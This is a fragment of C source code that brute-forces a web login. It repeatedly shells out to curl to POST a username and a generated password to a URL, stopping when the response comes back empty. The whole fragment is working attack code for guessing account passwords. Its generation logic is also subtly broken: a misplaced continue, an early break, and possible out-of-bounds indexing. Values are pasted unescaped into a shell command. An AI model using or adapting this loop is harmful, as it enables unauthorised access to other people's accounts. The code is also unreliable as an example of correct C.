for(;;)
{
    //create command for password match
    sprintf(command, "curl -s -d \"username=%s&passwd=%s%d\" %s", mail, pass, numpass, url);

    //run command for password
    fp = popen(command,"r");

    //check for errors
    if(fp == NULL)
    {
        fprintf(stderr,"Error opening pipe.\n");
        return 0;
    }

    flag = 0;
    while(fgets(result, sizeof(result)-1, fp) != NULL) {
        flag = 1;
    }

    if(!flag)
        break; //we got the match!

    //generate next password match
    if(++numpass < 100)
        continue;

    numpass = 10; //we start again from numbers

    if(counters[0] < strlen(letters))
    {
        counters[0]++;
        pass[0] = letters[counters[0]];
        continue; //test next match
    }

    counters[0] = 0;
    pass[0] = letters[counters[0]];

    int i;
    for(i = 0; i < LETTER_PASS; i++)
    {
        if(counters[i] < strlen(letters))
        {
            counters[i]++;
            pass[i] = letters[counters[i]];
            continue; //test next match
        }

        counters[i] = 0;
        pass[i] = letters[counters[i]];
    }

    break;

}